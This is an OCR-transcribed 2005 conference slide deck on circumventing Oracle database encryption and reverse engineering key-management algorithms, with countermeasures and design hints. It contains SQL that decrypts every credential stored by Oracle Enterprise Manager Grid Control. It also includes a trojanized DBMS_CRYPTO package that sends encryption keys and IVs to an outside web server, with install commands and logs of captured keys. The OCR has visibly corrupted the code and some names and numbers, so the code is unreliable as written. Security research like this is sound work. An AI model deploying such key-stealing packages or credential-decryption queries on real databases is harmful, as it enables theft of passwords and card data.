Circumvent Oracle’s Database Encryption and Reverse Engineering of Oracle Key Management Algorithms

This talk describes architecture flaws of the Oracle’s database encryption packages dbms_crypto and dbms_obfuscation_toolkit. These encryption packages are used to encrypt sensitive information in the database. A hacker can intercept the encryption key and use this key to decrypt sensitive information like clinical data, company secrets or credit card information. Even if a flexible key management algorithm (every row has his own key) is in use it is possible to reverse engineer this algorithm quite fast.

A basic knowledge of Oracle databases (PL/SQL) is recommended.
Circumvent Oracle’s Database Encryption and Reverse Engineering of Oracle Key Management Algorithms

Alexander Kornbrust
28-July-2005

Agenda

1. Motivation
2. Key Management
3. PL/SQL-Wrapping
4. Oracle Enterprise Manager Grid Control 10g
5. Package Interception
6. Reverse Engineering Computed Keys
7. Design Hints
8. Q/A
Motivation for using database encryption

- Hide data from the DBA
- Comply with regulations (FCI, ...)
- Last line of defense
- Encrypt data on external media (Backup)

Sample 1 - Tables

**Customer**

<table>
<thead>
<tr>
<th>CID</th>
<th>Name</th>
<th>CC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Formigan</td>
<td>377236636051265</td>
</tr>
<tr>
<td>2</td>
<td>Newman</td>
<td>375407276504655</td>
</tr>
<tr>
<td>3</td>
<td>Lotchfield</td>
<td>372027162155631</td>
</tr>
<tr>
<td>4</td>
<td>Corrado</td>
<td>375876668507700</td>
</tr>
<tr>
<td>5</td>
<td>Foyo</td>
<td>375427673015113</td>
</tr>
</tbody>
</table>

**Order**

<table>
<thead>
<tr>
<th>OID</th>
<th>CID</th>
<th>Quantity</th>
<th>Price</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>1</td>
<td>1</td>
<td>49</td>
</tr>
<tr>
<td>101</td>
<td>5</td>
<td>2</td>
<td>59</td>
</tr>
<tr>
<td>102</td>
<td>2</td>
<td>1</td>
<td>69</td>
</tr>
<tr>
<td>103</td>
<td>3</td>
<td>1</td>
<td>99</td>
</tr>
<tr>
<td>104</td>
<td>4</td>
<td>3</td>
<td>49</td>
</tr>
</tbody>
</table>
Sample II – Select unencrypted data

C:\> sqlplus appuser/appuser@orcl

SQL> SELECT * FROM customer;

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
<td>Fonnigan 377236636051265</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td>Nowman 375407276504655</td>
</tr>
<tr>
<td>3</td>
<td></td>
<td>Loichfield 372027162158631</td>
</tr>
<tr>
<td>4</td>
<td></td>
<td>Corudo 375876668507700</td>
</tr>
<tr>
<td>5</td>
<td></td>
<td>Foyo 375427673015113</td>
</tr>
</tbody>
</table>

Sample III

Credit card numbers can be selected with a simple SELECT command (e.g. via SQL Injection) if a hacker or malicious DBA have access to the database

⇒ Solution: Encrypt the data
Database Encryption in Oracle

Oracle 8i/9i provides the package dbms_obfuscation_toolkit
(DES and 3DES)

Oracle 10g provides the package dbms_crypto
(DES, 3DES, AES, RC4 and 3DES_2KEY)

3rd party Software like DBEncrypt from AppSecInc or
Encryption Wizard from Relational Database
Consultants are using own libraries or are on top of
the Oracle encryption packages

Sample DBMS_OBFUSCATION_TOOLKIT (8i/9i)

begin
  password := hexoraw('0123456789ABCDEFl);

  dbms_obfuscation_toolkit.des3encrypt( input => plain_data_raw,
    key => password,
    encrypted_data => encrypted_data_raw,
    which => 1);
end;
/

digital self defense
Sample DBMS_CRYPTO (10g)

```
declare
-- set encryption algorithm
_l_algorithm PLS_INTEGER := dbms_crypto.encrypt_aes128 +
dbms_crypto.chain_cbc + dbms_crypto.pad_pkcs5;

_l_key VARCHAR2(16) := 'blackhat_usa2005';  -- set encryption key
_l_iv VARCHAR2(16) := '1234567890123456';  -- set initialization vector
_l_data varchar2(16);  -- credit card number
begin
    dbms_output.put_line('CC=' || l_data || ' ... encrypted ...' || l_data || 'CipherText' || l_data);  
    utl_raw.cast_to_raw(l_data),  
    l_algorithm,  
    utl_raw.cast_to_raw(l_key),  
    utl_raw.cast_to_raw(l_iv))
    end;
/

OUTPUT
CC=377236636051265 Encrypted_Data=581ACC35A3356FC24FD8B0C85E89F190
```

Sample IV – encrypted credit card numbers

```
C:\> sqlplus appuser/appuser@orcl

SQL> SELECT * FROM customer;

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Fonnigan</td>
<td>581ACC35A3356FC24FD8B0C85E89F190</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>Newman</td>
<td>8E58197EA00E892963057D58D87100CC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>Lotchfield</td>
<td>09A0D99702F3A1BBE6130661DB5FE5FB</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>Corrado</td>
<td>AFO0107D7BA17C4D2E370A7715F3B097</td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>Foyo</td>
<td>D30878DC905585EF45390B0D4EBF2F51</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```
Challenge in symmetric encryption

How do to a safe key management?

Key Management Strategies

- Fixed keys
  - Key handled by the client
  - Store key in the file system
  - Store key in the database

- Computed keys
Key handled by the client

- User must enter the key or key is stored on the client PC/Application Server

- Advantages
  - Key is not accessible by the DBA

- Disadvantages
  - If the key is lost/forgot (by the user), the data is lost
  - Not in sync with backup/restore
  - Key must be shared between users
**Store key in the file system**

- Key is stored in a different account and accessed by an external procedure

**Advantages**
- Key is not accessible by the DBA

**Disadvantages**
- Additional complexity (2nd listener, Library, ...)
- Not in sync with backup/restore
Store key in the database

- Key is stored in the database (e.g. in a table or procedure)

- Advantages
  - In sync with backup/restore

- Disadvantages
  - Key is accessible by the DBA (like everything in the database)
Computed keys

- Key is not stored and will be computed every time

Advantages
- No need to store keys in the database
- Every value has a different key

Disadvantages
- Algorithm to generate the key must be protected

Computed keys – Sample Algorithm

Sample algorithm

```
pk := read_primary_key;
str := xor (pk, 'blackhat');
key := md5(str);
encrypt (value, key)
```
Wrapping PL/SQL-Code

To stop the DBA (or the hacker) from reading the key or the key generating algorithm from the PL/SQL-code it is necessary to obfuscate the PL/SQL-source with the Oracle wrap utility

Usage:

```
wrap oname=mypack1.pkb oname=mypack1_wr.pkb
```
Wrapping Oracle 8i/9i Code

Keep in mind that literals in 8i/9i are not obfuscated.
Wrapping Oracle 10g Code

cat crypt_w10.pk8

CREATE OR REPLACE FUNCTION myencrypt wraps
a000000
b2
cyde abcd abed abcd abed abcd abed abcd abed abcd abed abcd abed abed abed abed abed abed abed abed abed abed abed abed
1d2 17f
32623f732d1b9825yq52m33v45wq2t18y5e6b2x0000wambe3y150g
nctzTebxogjmeGR570b682aj3f66nG2zv4414xrejdasjfdT17U06T26L7tn960/20-termewvQ0cudqo
5PezVA219h300d9WJ1019FJQ3JwH3moAHxmp26X3V10c85sB1Bm4+a7rL5eFpre5X6/cpy2Pmv9
/1x8/9y26j4k1jv630P7Z7jG78e1mqP7zb2YbsnBm5BOc9oCuH4Cv2moZ2aQMgphb0+EF5
+ePTE7me72rZL5ayGuo4W0nkN5Alf3rttL3rft9BeCg5AMDN++str26yq52hJtBzs03n9hBw+-X
OJ9e

In 10g Oracle changed the algorithm to make reverse engineering
more difficult. In addition all literals are now obfuscated.

Real life example for database encryption

- The following example shows how Oracle uses
database encryption to encrypt passwords from the
Oracle Enterprise Manager Grid Control
Oracle Enterprise Manager (OEM) 10g Grid Control

- Oracle Enterprise Manager 10g Grid Control is Oracle’s central tool for database administration and provides a single tool that can monitor and manage not only every Oracle software element in your grid, but also Web applications, hosts, and the network in between.

- Grid Control (GC) is a web based application and stores encrypted database passwords, host passwords and credentials for Oracle Metalink.

- Oracle was informed about insecurities in the password handling on the 4-feb-2005

Encryption in OEM 10g Grid Control

Grid Control (GC) is a web based application and stores encrypted database passwords, host passwords and credentials for Oracle Metalink.

If a hacker is able to decrypt the password he will have access to ALL database servers and servers managed by grid control.
Encryption in OEM 10g Grid Control

A short analysis of the grid control application shows:

- Grid control uses the SYSMAN schema
- Passwords are stored in the tables MGMT_CREDENTIALS2, MGMT_ARU_CREDENTIALS, and MGMT_VIEW_USER_CREDENTIALS
- Passwords are encrypted with the function encrypt
- Passwords can be decrypted with the function decrypt
- DBA users can decrypt all passwords by using the decrypt function
Encryption in OEM 10g Grid Control

Show the ARU (Metalink) - Username & Password

```sql
select sysman.decrypt(ARU_USERNAME),
sysman.decrypt(ARU_PASSWORD)
from SYSMAN.MGMT_ARU_CREDENTIALS;
```

Show Oracle Password of the user mgmt_view

```sql
select VIEW_USERNAME, sysman.decrypt(VIEW_PASSWORD)
from SYSMAN.MGMT_VIEW_USER_CREDENTIALS;
```

Show Username & Passwords for databases, operating system and listener login

```sql
select credential_set_column,
sysman.decrypt(credential_value)
from SYSMAN.MGMT_CREDENTIALS;
```

Encryption in OEM 10g Grid Control

Design Flaws

Encryption key (seed) is stored in clear text in the table MGMT_EMCRYPTO_SEED

Every user with DBA permission or SELECT ANY TABLE can decrypt all passwords

Sensitive data like passwords should be located in the SYS schema

Obvious function and table names (seed, encrypt, decrypt, ...)

PL/SQL-Code is wrapped with the weaker 9i version

Dynamic SQL is not used to hide dependencies
Package Interception

The previous example used design flaws and DBA permission to decrypt data.

The following approach works (in most cases) without DBA permission and is able to intercept all encryption keys.

With DBA permission a hacker or malicious DBA can ALWAYS intercept the encryption key.

The following approach is done with Oracle 10g but also possible with Oracle 8i/9i.

---

Package Interception

How is Oracle resolving object names?

Example:

```
SQL> exec dbms_crypt.encrypt(...);
```

Name resolution:

- Is there a local object in the current schema (procedure, ...) called `dbms_crypt`? If yes, use it.
- Is there a private synonym called `dbms_crypt`? If yes, use it.
- Is there a public synonym called `dbms_crypt`? If yes, use it.
Package Interception

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

Public Synonyms

SYS
- Views
- Tables
- Functions
- Procedures
- Packages

encrypt/decrypt

dbms_crypto

dbms_crypto

Trusted library: CRYPTO_TOOLKIT_LIBRARY

Package Interception

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

Public Synonyms

SYS
- Views
- Tables
- Functions
- Procedures
- Packages

encrypt/decrypt

www.evillib.com

dbms_crypto

dbms_crypto

Trusted library: CRYPTO_TOOLKIT_LIBRARY

digital self defense
Package Interception

To intercept parameters from packages we need

A package with the identical specification as the original package

Possibility to log parameter values or send to a foreign server

---

Use the default package specification from dbms_crypto from 10g
and add the variable web server to send the encryption keys to this webserver

CREATE OR REPLACE PACKAGE DBMS_CRYPTO AS

-- Web Server for key logging
KEYWEBSERVER CONSTANT VARCHAR2(40\nhttp://www.shldba.com\nKEYRC VARCHAR2(32767);

-- Hash Functions
HASH_MD4 CONSTANT PLS_INT EGER := 1;
HASH_MD5 CONSTANT PLS_INT EGER := 2;
HASH_SHA1 CONSTANT PLS_INT EGER := 3;

-- MAC Functions
HMAC_MD5 CONSTANT PLS_INT EGER := 1;
HMAC_SHA1 CONSTANT PLS_INT EGER := 2;

[...]

digital self defense
Package Interception

CREATE OR REPLACE PACKAGE BODY DBMS_CRYPTO AS

FUNCTION Encrypt (src l N RAW,
    typ IN PLS_INTEGER,
    key IN RAW,
    iv IN RAW DEFAULT NULL) RETURN RAW AS
BEGIN
    keyrc := ull_http.request('KEYWEBSERVER! user=11user11/11/key=11UTL_RAW.cast_to_varchar2(key)/11UTL_RAW.cast_to_varchar2(iv)/11typ);
    RETURN SYS.dbms_crypto.encrypt(src, typ, key, iv);
END;

Install the interception packages in the local schema appuser

C:\> sqlplus appuser/appuser@orci

SQL> @dbms_crypto_spec_fake.sql
Package created.

SQL> @dbms_crypto_fake.sql
Package Body created.

SQL> @crypt_sample.sql
OC=3772365365051265 Encrypted_Date = 581ACC35A3996FC24FD8E35C38F150
Package Interception – Sample II

We find the encryption key and initialization vector in the web server log file:

tail -f http-web access.log

```
127.0.0.1 - [28Jul2005:10:36:08 +0100] "GET /user=APPUSER/key=blackhat_use2005 HTTP/1.1" 404 186
```

```
127.0.0.1 - [28Jul2005:10:38:11 +0100] "GET /user=APPUSER/key=blackhat_use2005 HTTP/1.1" 404 186
```

```
127.0.0.1 - [28Jul2005:10:40:13 +0100] "GET /user=APPUSER/key=blackhat_use2005 HTTP/1.1" 404 186
```

```
127.0.0.1 - [28Jul2005:13:15:48 +0100] "GET /user=SYS/key=EB60YD777?re -PvEB60* HTTP/1.1" 404 153
```

```
127.0.0.1 - [28Jul2005:16:48:40 +0100] "GET /user=SYS/key=EB60YD777?re -PvEB60* HTTP/1.1" 404 153
```

```
127.0.0.1 - [28Jul2005:16:15:58] "GET /user=SYS/key=EB60YD777?re -PvEB60* HTTP/1.1" 404 153
```

```
127.0.0.1 - [28Jul2005:01:00:08 +0100] "GET /user=SYSMAN/key=EB60YD777?re -PvEB60* HTTP/1.1" 404 153
```

```
127.0.0.1 - [28Jul2005:01:00:08 +0100] "GET /user=SYSMAN/key=EB60YD777?re -PvEB60* HTTP/1.1" 404 153
```

```
127.0.0.1 - [28Jul2005:01:00:08 +0100] "GET /user=SYSMAN/key=EB60YD777?re -PvEB60* HTTP/1.1" 404 153
```

---

Package Interception

Every time the package dbms_crypto is executed

The local (fake) dbms_crypto package is called

The encryption key + initialization vector is sent to a foreign web server

The original dbms_crypto is called

The return value from the original dbms_crypto is passed back to the local dbms_crypto

The local dbms_crypto passes the return value back to the original caller

digital self defense
Package Interception

The concept of package interception can intercept all keys independently from the key management strategy.

- Keys handled by the client
- Keys stored in the file system
- Keys stored in the database

because the key must be passed to the package dbms_crypto which can be intercepted.

Package Interception - Countermeasure

Mitigate the risk by using full qualified names for packages.

- e.g. exec SYS.dbms_crypto
- instead of exec dbms_crypto

➤ Now you need at least DBA permission to intercept keys.
Package Interception – Counter-countermeasure

If the application uses full qualified names

Move the original dbms_crypt0 from schema SYS to the schema SYSTEM

Create the fake dbms_crypt0 package in the SYS schema pointing to SYSTEM.dbms_crypt0

Or

Replace the dbms_crypt0 or dbms_crypt0_ff1 with a trojanized version

⇒ As long as parameters are passed it is possible to intercept them.

Reverse Engineering computed keys

Computed keys use a different encryption key for every row

It’s possible to intercept these keys too but without the key generating algorithm we cannot decrypt all values

⇒ Necessity to reverse engineer the computed key algorithm if unwrapping of PL/SQL is not possible
Reverse Engineering computed keys

To compute the keys we must call PL/SQL functions/procedures to do the computation (like XOR, MD5, ...)

If an attacker knows the function, parameters and the call sequence it is very easy to reverse engineer the key algorithm.

Install interception packages for utl_raw, dbms_util, standard, dbms_crypto, ...

Reverse Engineering computed keys

Sample output

```
util_raw.bit_xor, p1=4711, p2=2702

dbms_crypto.hash, p1=6377, p2=MD5

dbms_crypto.encrypt, p1=secretdata, p2=AES128,
    p3=XXXX79CA696946ACEB4337FB1BA9B23A,
    p4=1234567890123456
```

And the appropriate key algorithm

- XOR the primary key 4711 with 2702
- Generate MD5-checksum of the result
- Replace the first 4 characters by XXXX
- Use the MD5 checksum to encrypt/decrypt the data
3rd party software

All concepts mentioned here are also valid for 3rd party database encryption software.

3rd-party encryption software for Oracle databases like DBEncrypt or The Encryption Wizard which add an encryption additional layer to the application could always be circumvented.

Design hints

- Use unobvious function/procedure/table names instead of obvious ones (crypt/encrypt/creditcard/…)
- Use dynamic SQL to hide Oracle dependencies
- Use full qualified names (e.g. SYS.dbms_crypto)
- Use a monolithic architecture (key generation and trusted libraries access in one package) which requires no parameter passing. Contact Oracle if this solution is supported by Oracle
Summary

It is not possible to hide data from the DBA.

Very often a hacker can get DBA privileges.

A hacker which is able to become DBA (e.g. via `dbms_metadata`, ...) can read and/or decrypt everything (e.g. credit card numbers, grid control passwords, ...).

Database encryption with `dbms_crypto` or `dbms_obfuscation_toolkit` is not secure because a secure key management is not possible.

Contact

Alexander Kombrust

Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Germany

Telefon: +49 (0)6821 – 95 17 637
Fax: +49 (0)6821 – 91 27 354
E-Mail: ak@red-database-security.com
Web: http://www.red-database-security.com